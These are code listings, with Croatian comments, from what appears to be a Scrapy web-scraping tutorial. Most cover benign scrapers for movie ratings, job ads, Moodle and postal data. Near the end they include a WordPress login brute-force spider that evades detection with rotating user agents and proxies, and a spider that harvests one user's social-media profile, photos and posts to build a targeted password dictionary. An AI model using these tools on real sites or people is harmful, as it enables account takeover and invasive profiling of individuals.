Scrapy python framework

.../search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10

$ scrapy startproject sf_movies_simple

import scrapy
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]   
       start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"]
       
       def parse(self, response):
                for el in response.xpath("//table[@class='results']//td[@class='title']"):
                       title = str(el.xpath("a/text()").extract().pop())
                       year = str(el.xpath("span[@class='year_type']/text()").re("\d+").pop())
                       rating = str(el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract().pop())
                       print title, "(", year, ", ", rating, ")"

$ scrapy crawl movie_sf

...
[imdb_sf] DEBUG: Crawled (200) <GET http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015
 &title_type=tv_movie&user_rating=8.0,10> (referer: None)
The Selection ( 2013 , 8.5 )
Robot Chicken: Star Wars Episode III ( 2010 , 8.1 )
Vastra Investigates ( 2012 , 8.1 )
The Sixth Gun ( 2013 , 8.2 )
D-TEC: Pilot ( 2013 , 8.7 )
Ghosts/Aliens ( 2010 , 8.7 )
The Rusty Bucket Kids: Lincoln, Journey to 16 ( 2010 , 8.9 )
Advent ( 2011 , 8.2 )
Araneum ( 2010 , 8.5 )
Quest for the Indie Tube ( 2011 , 8.0 )
Before: Zombie Etiquette ( 2011 , 9.1 )
3% ( 2011 , 8.1 )
Bezci ( 2014 , 8.2 )
[imdb_sf] INFO: Closing spider (finished)
...

import scrapy
class SfMovieItem(scrapy.Item):
       title = scrapy.Field()
       year = scrapy.Field()
       rating = scrapy.Field()

import scrapy
from sf_movies_simple.items import SfMovieItem
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]     
       start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=2010,2015&title_type=tv_movie&user_rating=8.0,10"]
       
       def parse(self, response):
               for el in response.xpath("//table[@class='results']//td[@class='title']"):
                       item = SfMovieItem()
                       item['title'] = el.xpath("a/text()").extract()
                       item['year'] = el.xpath("span[@class='year_type']/text()").re("\d+")
                       item['rating'] = el.xpath("div[@class='user_rating']/div/span[@class='rating-rating']/span[@class='value']/text()").extract()
                       yield item

$ scrapy crawl movie_sf -o movies.json

$ pip install Scrapy

$ scrapy
Scrapy 0.24.4 - project: sf_movies_simple
Usage:
  scrapy <command> [options] [args]
Available commands:
  bench         Run quick benchmark test
  check         Check spider contracts
  crawl         Run a spider
  deploy        Deploy project in Scrapyd target
  edit          Edit spider
  fetch         Fetch a URL using the Scrapy downloader
  genspider     Generate new spider using pre-defined templates
  list          List available spiders
  parse         Parse URL (using its spider) and print the results
  runspider     Run a self-contained spider (without creating a project)
  settings      Get settings values
  shell         Interactive scraping console
  startproject  Create new project
  version       Print Scrapy version
  view          Open URL in browser, as seen by Scrapy

$ scrapy startproject project_name

scrapy.cfg – konfiguracijska datoteka projekta
project_name/ - python modul projekta
   __init__.py
   items.py – datoteka u kojoj definiramo Item objekte
   pipelines.py  - datoteka u kojoj definiramo Pipeline objekte
   settings.py – postavke porokejta
   spiders/ - direktorij u kojem pohranjujemo spidere
      __init__.py
      spider_name.py – datoteka u kojoj definiramo spider

scrapy genspider [-t template] <name> <domain>

$ scrapy genspider -l
Available templates:
  basic
  crawl
  csvfeed
  xmlfeed

$ scrapy genspider –t basic basic_spider google.hr

$ scrapy crawl spider_name

$ scrapy runspider spider_name.py

$ scrapy fetch http://www.google.hr

$ scrapy fetch –spider=spider_name http://www.google.hr

$ scrapy shell http://www.google.hr

In [1]: shelp()
[s] Available Scrapy objects:
[s]   crawler    <scrapy.crawler.Crawler object at 0x7fcf4bb5a290>
[s]   item       {}
[s]   request    <GET http://www.google.hr>
[s]   response   <200 http://www.google.hr>
[s]   settings   <scrapy.settings.Settings object at 0x7fcf511c7450>
[s]   spider     <Spider 'default' at 0x7fcf4fab8590>
[s] Useful shortcuts:
[s]   shelp()           Shell help (print this help)
[s]   fetch(req_or_url) Fetch request (or URL) and update local objects
[s]   view(response)    View response in a browser

In [6]: response.xpath("//a[@id='gb_70']").extract()
Out[6]: [u'<a target="_top" id="gb_70" href="https://accounts.google.com/ServiceLogin?hl=hr&continue=http://www.google.hr/" class="gb4">Prijavite  se</a>']

In [13]: request.headers
Out[13]:
{'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 'Accept-Encoding': 'gzip,deflate',
 'Accept-Language': 'en',
 'User-Agent': 'Scrapy/0.24.4 (+http://scrapy.org)'}

scrapy crawl spider_name –a arg_name=arg_value

$ scrapy crawl movie_sf -o movies.json -a r_date_start=2008 -a r_date_end=2012 -a u_rating_min=6.0 -a u_rating_max=9.5

...
class MovieSfSpider(scrapy.Spider):
       name="movie_sf"
       allowed_domains=["site.com"]
       def __init__(self, r_date_start = 2010, r_date_end = 2015, u_rating_min = 8.0, u_rating_max = 10, *args, **kwargs):
               super(MovieSfSpider, self).__init__(*args, **kwargs)
               self.start_urls=["http://www.site.com/search/title?count=100&genres=sci_fi&release_date=%s,%s&title_type=tv_movie&user_rating=%s,%s"  

% (r_date_start, r_date_end, u_rating_min, u_rating_max)]

       def parse(self, response):
...

import scrapy
from scrapy import log

class MoodleNewsSpider(scrapy.Spider):
       		name = "moodle_news"
       		def start_requests(self):
               		return [scrapy.Request(url='https://login.moodle.hr/login/index.php')]

                       def parse(self, response):
               		self.log("Loggin in...", level=log.INFO)
               		return scrapy.FormRequest.from_response(
                       			response,
                       			formdata={ 'username' : 'user' , 'password' : 'pass' },
                       			callback=self.after_login
               		)

       		def after_login(self, response):
               		#print response.body
               		if "Moja naslovnica" in response.body:
                  	     		self.log("Login successful", level=log.INFO)
                       			for sel in response.xpath("//div[@class='course_list']/div[@class='box coursebox']"):
                               			print sel.css("h2").xpath("child::a//text()").extract()
                       			return
               		else:
                       			self.log("Login failed", level=log.ERROR)
                       			return

import scrapy
from scrapy.contrib.linkextractors import LinkExtractor
from scrapy.contrib.spiders import CrawlSpider, Rule
import json
from mojposao.items import MojposaoItem

class ItPosloviSpider(CrawlSpider):
	name = 'it_poslovi'
	allowed_domains = ['moj-posao.net']
	file = "stranice.json"
	comp_data = " "	
	rules = [Rule(LinkExtractor(allow='/Posao/'), callback="parse_item")]	
	
	def __init__(self, *args, **kwargs):
		# pohrana liste jezika u comp_data
               # pohrana proslijedjenih linkova u start_urls atributu	
	
	def add_lang(self, job, lang):
		lang = lang.strip()
		if lang != "":
			if bool(job['langs']) == False:
				job['langs'] = lang
			else:	 
                		job['langs'] += ", " + lang                 
						
	def parse_item(self, response):
		print "parse_item"
		job = MojposaoItem()
	
		temp =  response.xpath("//section[@id='page-title']/h1/span/text()").extract().pop().encode('utf-8').rsplit(" - ", 1)
		job['title'] = temp[0].strip()
		job['location'] = temp[1].strip()
		job['langs'] = ""

		employerTemp = response.xpath("//div[@id='employer']/ul/li/strong/text()").extract()
		if (employerTemp):
			job['employer'] = employerTemp.pop().encode('utf-8')

		body = response.xpath("//section[@id='job-detail']/descendant::*/text()").extract()
		job_txt = ""
		for el in body:
			job_txt += el
		job_txt = job_txt.upper().replace(",", " ").replace(".", " ").replace(";", " ")
		
		for item in self.comp_data:
			if item['t'] in job_txt:
				self.add_lang(job, item['t'])
			
			elif "alt" in item and item['alt'] in job_txt:
				self.add_lang(job, item['t'])
		
		yield job

import scrapy
from scrapy.exceptions import CloseSpider
from scrapy.xlib.pydispatch import dispatcher
from scrapy import signals
from scrapy.settings import Settings

from mojposao.spiders.it_poslovi import ItPosloviSpider
from mojposao.items import UrlItem

class ItStraniceSpider(scrapy.Spider):
	name = 'it_stranice'
	allowed_domains = ['moj-posao.net']
	start_urls = ['http://www.moj-posao.net/Pretraga-Poslova/?category=11']
	
	def __init__(self, *args, **kwargs):
		super(ItStraniceSpider, self).__init__(*args, **kwargs)
		dispatcher.connect(self.spider_closed, signals.spider_closed)
     
	def parse(self, response):
		...
	
	def spider_closed(self, spider):
		crawler = Crawler(Settings())
		crawler.configure()
		crawler.crawl(ItPosloviSpider())
		crawler.start()

<items>
   ...
   <item>
      <langs></langs>
      <employer>AZTEK, d.o.o. za projektiranje, savjetovanje i usluge</employer>
      <location>Zagreb</location>
      <title>Projektant telekomunikacijskih sustava, elektroinstalacija i tehničke zaštite (m/ž)</title>
   </item>
   <item>
      <langs>JAVASCRIPT, JAVA, HTML, CSS, PLSQL, SQL</langs>
      <employer>DEKOD d.o.o.</employer>
      <location>Koprivnica, Zagreb</location>
      <title>Programer / projektant (m/ž)</title>
   </item>
   <item>
      <langs>C#, JAVASCRIPT, PHP, ASP, HTML, CSS, PYTHON, RUBY</langs>
      <employer>STATIM d.o.o. za računalne djelatnosti i usluge</employer>
      <location>Split</location>
      <title>Web developer (m/ž)</title>
   </item>
   ...
</items>

from scrapy.contrib.spiders import XMLFeedSpider
from gradovi.items import GradoviItem

class PostaGradoviSpider(XMLFeedSpider):
   name = 'posta_gradovi'
   allowed_domains = ['posta.hr']
   start_urls = ['http://www.posta.hr/mjestaRh.aspx?vrsta=xml']
   iterator = 'iternodes'
   itertag = 'mjesto'

   def parse_node(self, response, selector):
       i = GradoviItem()
       i['ime'] = selector.select('nazivPu').xpath('text()').extract().pop()
       return i

from scrapy.exceptions import DropItem

class GradoviPipeline(object):
       def __init__(self):
               self.locations_seen = set()

       def process_item(self, item, spider):
               if item['ime'] in self.locations_seen:
                       raise DropItem("Duplicate location found: %s" % item['ime'])
               else:
                       self.locations_seen.add(item['ime'])
                       return item

$ scrapy shell http://www.en.wikipedia.org/wiki/Scrapy
  ...
  2015-01-17 04:57:11-0500 [default] DEBUG: Crawled (200) <GET http://en.wikipedia.org/wiki/Scrapy> (referer: None)
  ... 
  In [1]: response.selector.xpath("//div[@id='bodyContent']")
  Out[1]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>]
 

In [2]: response.xpath("//div[@id='bodyContent']")
Out[2]: [<Selector xpath="//div[@id='bodyContent']" data=u'<div id="bodyContent" class="mw-body-con'>]

In [3]: response.xpath("//div[@id='bodyContent']").extract()
Out[3]: [u'<!--- HTML CONTENT --->']

import scrapy
class SfMovieItem(scrapy.Item):
       title = scrapy.Field()
       year = scrapy.Field()
       rating = scrapy.Field()

$ scrapy shell
  ...
  In [1]: from  sf_movies_cat.items import SfMovieItem
  In [2]: item = SfMovieItem(title='Naslov', year='2020')
  In [3]: print item
  {'title': 'Naslov', 'year': '2020'}
  In [4]: item['title']
  Out[4]: 'Naslov'
  In [5]: item.get('title')
  Out[5]: 'Naslov'
  In [6]: item.items()
  Out[6]: [('year', '2020'), ('title', 'Naslov')]
  In [7]: item.fields
  Out[7]: {'rating': {}, 'title': {}, 'year': {}}
  In [8]: item['rating'] = 8.9
  In [9]: item.items()
  Out[9]: [('rating', 8.9), ('year', '2020'), ('title', 'Naslov')]

class WpAtckSpider(scrapy.Spider):
       name = "wp_atck"
   	download_delay = 2 # atribut Spider klase, definira razmak između poziva u sekundama
	user = ""
	curr_pwd = ""
       pwd_perms = []
	it = None
	dict = []
		
	def __init__(self, file=None, *args, **kwargs):
		super(IskraSpider, self).__init__(*args, **kwargs)
		#citanje i pohrana potencijalnih lozinki u dict

	def form_req(self):
		return [FormRequest(url='http://site.com/wp-login.php', formdata={"log":self.user, 
                           "pwd":self.curr_pwd }, method="POST", dont_filter=True, callback=self.parse)]

 	def start_requests(self):
		return self.form_req()
       
       def set_pwd_perms(self, new_pwd):
               # zamijene znakova, dodavanje sufiksa, prefiksa (brojevi, posebni znakovi)
               # vraća listu lozinki kreiranih na temelju new_pwd
       
  	def parse(self, response):
		if "/wp-admin/profile.php" in response.url:
			log.msg("WIN: %s" %(self.curr_pwd), level = log.INFO)

		else:
                        if len(self.pwd_perms) == 0:
                               self.pwd_perms = set_pwd_perms(self.it.next())
                        self.curr_pwd = self.pwd_perms.pop()
			log.msg("Failed with %s" %(self.curr_pwd), level = log.INFO)
			return self.form_req()

class RandomUAMiddleware(object):
	def process_request(self, request, spider):
		ua = random.choice(settings.get('USER_AGENT_LIST'))
		if ua:
			request.headers.setdefault('User-Agent', ua)

class ProxyMiddleware(object):
	def process_request(self, request, spider):
		request.meta['proxy'] = 'http://proxy_prv.com:PORT'
		proxy_up = 'USER:PASS'
		encoded_up = base64.encodestring(proxy_up)
		request.headers['Proxy-Authorization'] = 'Basic ' + encoded_up

USER_AGENT_LIST = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0',
 ...
]
DOWNLOADER_MIDDLEWARES = {
'wp_dic_atck.middlewares.RandomUAMiddleware': 400,
'wp_dic_atck.middlewares.ProxyMiddleware': 500,
'scrapy.contrib.downloadermiddleware.httpproxy.HttpProxyMiddleware': 600,
'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware': None,
} 

class DictSpiderSpider(scrapy.Spider):
	name = "dict_spider"
	site = 'https://site.com'
	start_urls = [site + '/login.php']
	
 	email = "" 
	password = ""  # kao i email, koristi se ako se zelimo prijaviti kao korisnik mreze
	user=""  # naziv korisnika cije podatke vadimo
	filename = "dict.txt"
	min_occur = 2  # minimalni br potrebnog pojavljivanja da bi rijec ukljucili u listu
	min_length = 4  # minimalno duzina rijeci koje zelimo 
	
	dict = []
	curr_post_id = 3

	def spider_closed(self, spider):
               # poziva se prilikom zavrsetka rada spidera
               # filtira dict po min_occur atributu te ga ispisuje u txt datoteku
	

	
       def parse(self, response):
		 if len(self.email) > 0 and len(self.password) > 0:
			return [scrapy.FormRequest.from_response(response, formname="login_form", formdata={'email':self.email,   
                               'pass':self.password}, callback=self.after_login)]
		 elif len(self.user) > 0:
			return [scrapy.Request(url= self.site + '/' + self.user + '?v=info', callback=self.get_basic_data)]
			 
	

       # vadi osnovne podatke o korisniku
       # na kraju vraca request s callback funkcijom 
       # za skeniranje fotografija(opisa) te postova 
	def get_basic_data(self, response):
		ns = response.xpath("//div[@id='root']/div/div[1]//strong/text()").extract()
		...	
		nn = response.xpath("//div[@id='root']/div/div[@id='nicknames']//table//td[2]//text()").extract()
		
		self.extract_common(ns)
		...
		self.extract_common(nn)
           
		bio = response.xpath("//div[@id='root']/div/div[@id='bio']/div/div[2]/div/text()").extract()
		qs = response.xpath("//div[@id='root']/div/div[@id='quote']/div/div[2]/div/text()").extract()
		
		self.extract_keywords(self.sel_to_str(bio))
		self.extract_keywords(self.sel_to_str(qs))
		
		yield scrapy.Request(url= self.site + '/' + self.user + '?v=photos', callback=self.set_pics_crawl)
		yield scrapy.Request(url= self.site + '/' + self.user + '?v=timeline', callback=self.set_posts_crawl)
	

 
       def extract_common(self, sel):
		# iterira kroz proslijeđeni selector objekt
               # rastavlja rijeci, filtrira i proslijedjuje ih word_to_dict(word, True) metodi



        # koristi Alchemy API za vadjenje kljucnih rijeci iz vece kolicine teksta
        # u slucaju da to nije moguce, jednostavno rastavlja tekst na rijeci

	def extract_keywords(self, text):
		alchemyapi = AlchemyAPI()
		response = alchemyapi.keywords("text", text)
		
		if response["status"] == "OK" and "keywords" in response:
			for keyword in response["keywords"]:
				txt = keyword["text"].encode("utf-8").split(" ")
				for i in txt:
					self.word_to_dict(i)
		else:
			text = text.encode("utf-8").split(" ")
			for t in text:
				self.word_to_dict(t)



	# u slucaju da rijec (npr. ime, prezime, imena clanova obitelji,...) 
        # ima max prioritet dodajemo joj najvecu vrijednost pojavljivanja
        # te time osiguravamo da nece biti ignorirana pri upisu u txt datoteku
  
	def word_to_dict(self, word, max_prior = False):
		word = self.filter(word)
		if len(word) > self.min_length or max_prior == True:
			word_found = False
			for row in self.dict:				
				if row[0] == word:
					word_found = True
					if row[1] != sys.maxint:
						row[1] += 1
					break
			if word_found == False:
				if max_prior == False:
					self.dict.append([word, 1])
				else: 
					self.dict.append([word, sys.maxint])

	def set_pics_crawl(self, response):
		link_all_albums = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[2]/a/@href").extract()
		
		if len(link_all_albums) > 0: #u slucaju da postoji vise od 6 albuma
			link = link_all_albums.pop()
			yield scrapy.Request(url= self.site + link, callback=self.get_album_pages)
		else:
			albums_links = response.xpath("//h3[contains(text(),'Albums')]/following-sibling::div[1]//a/@href").extract()
			for link in albums_links:
             			yield scrapy.Request(url= self.site + link, callback=self.get_album_pics)




       # poziva se u slucaju da postoje liste albuma
	
	def get_album_pages(self, response):
               # izvlaci linkove albuma
	        # iterira kroz stranice s linkovima albuma		
	
	
 	
	def get_album_pics(self, response):
		pic_links = response.xpath("//div[@id='root']/table//div[@id='thumbnail_area']//a/@href").extract()
		# iz stranice albuma vadi linkove fotografija
                for link in pic_links: 
			yield scrapy.Request(url= self.site + link, callback=self.get_pic_data) #vadi podatke iz opisa te ih obradjuje
		
                # ako je album veci od x fotografija poziva drugi dio albuma
		more_link = response.xpath("//div[@id='root']//div[@id='m_more_item']/a/@href").extract()
		if len(more_link) > 0:
			link = more_link.pop()
			yield scrapy.Request(url= self.site + link, callback=self.get_album_pics)
 

       def set_posts_crawl(self, response):	
		if "?v=timeline" in response.url:
			next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) +  
                                                    "]/a/@href").extract().pop().encode("utf-8")		
			yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator)
		
	
	
	def posts_iterator(self, response):
		post_links = response.xpath("//div[@id='structured_composer_async_container']/div[1]/div[2]/div/div//a[contains(text(), 'Full  
                                            Story')]/@href").extract()
		for link in post_links:
			if "photo.php" not in link: #to smo vec obradili
				yield scrapy.Request(url= self.site + link, callback=self.get_post_data) #metoda za obradu postova
		
		next_data = response.xpath("//div[@id='structured_composer_async_container']/div[2]/a")
		next_txt = next_data.xpath("text()").extract().pop().encode("utf-8")
		next_link = next_data.xpath("@href").extract().pop().encode("utf-8")
		
		
		if next_txt == "Show more":
			yield scrapy.Request(url= self.site + next_link, callback=self.posts_iterator)
	
		elif next_txt != "Born":
			self.curr_post_id += 1
			
			next_y_link = response.xpath("//div[@id='structured_composer_async_container']/div[" + str(self.curr_post_id) + 
                                                    "]/a/@href").extract().pop().encode("utf-8")		
			yield scrapy.Request(url= self.site + next_y_link, callback=self.posts_iterator)